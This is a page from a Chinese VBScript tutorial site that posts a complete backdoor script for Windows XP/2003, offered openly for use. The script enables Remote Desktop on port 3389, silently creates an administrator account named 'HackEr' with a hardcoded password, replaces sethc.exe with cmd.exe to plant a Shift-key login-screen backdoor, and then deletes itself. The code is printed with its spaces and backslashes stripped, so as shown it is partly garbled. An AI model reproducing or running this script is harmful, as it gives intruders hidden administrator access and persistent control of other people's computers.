手机
当前位置:查字典教程网 >脚本专栏 >vbs >xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs
摘要:复制代码代码如下:onerrorresumenextconstHKEY_LOCAL_MACHINE=&H80000002strCompute...

复制代码 代码如下:

onerrorresumenext

constHKEY_LOCAL_MACHINE=&H80000002

strComputer="."

SetStdOut=WScript.StdOut

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!"&_

strComputer&"rootdefault:StdRegProv")

strKeyPath="SYSTEMCurrentControlSetControlTerminalServer"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEMCurrentControlSetControlTerminalServerWdsrdpwdTdstcp"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp"

strKeyPath="SYSTEMCurrentControlSetControlTerminalServer"

strValueName="fDenyTSConnections"

dwValue=0

oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath="SYSTEMCurrentControlSetControlTerminalServerWdsrdpwdTdstcp"

strValueName="PortNumber"

dwValue=3389

oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath="SYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp"

strValueName="PortNumber"

dwValue=3389

oReg.SetDWORDValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

onerrorresumenext

dimusername,password:IfWscript.Arguments.CountThen:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="HackEr":password="393214425":endif:setwsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Setob=GetObject(os):Setoe=GetObject(os&"/Administrators,group"):Setod=ob.Create("user",username):od.SetPasswordpassword:od.SetInfo:Setof=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echoof.ADsPath

OnErrorResumeNext

Dimobj,success

Setobj=CreateObject("WScript.Shell")

success=obj.run("cmd/ctakeown/f%SystemRoot%system32sethc.exe&echoy|cacls%SystemRoot%system32sethc.exe/G%USERNAME%:F©%SystemRoot%system32cmd.exe%SystemRoot%system32acmd.exe©%SystemRoot%system32sethc.exe%SystemRoot%system32asethc.exe&del%SystemRoot%system32sethc.exe&ren%SystemRoot%system32acmd.exesethc.exe",0,True)

CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

【xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本vbs】相关文章:

用VBScript批量安装网络打印机和设置默认打印机

利用VBS实现显示系统服务列表

VBScript语法速查及实例说明

VBS教程:方法-DeleteFile 方法

什么是 WSH(脚本宿主)的详细解释

可以将Bat转换位VBS文件的VBS脚本

vbsTree VBS脚本模拟tree命令

获取外网IP并发送到指定邮箱的vbs代码[已测]

简单的VBS加密实现代码

IE浏览器增加“复制图像地址”的右键菜单的vbs代码

精品推荐
分类导航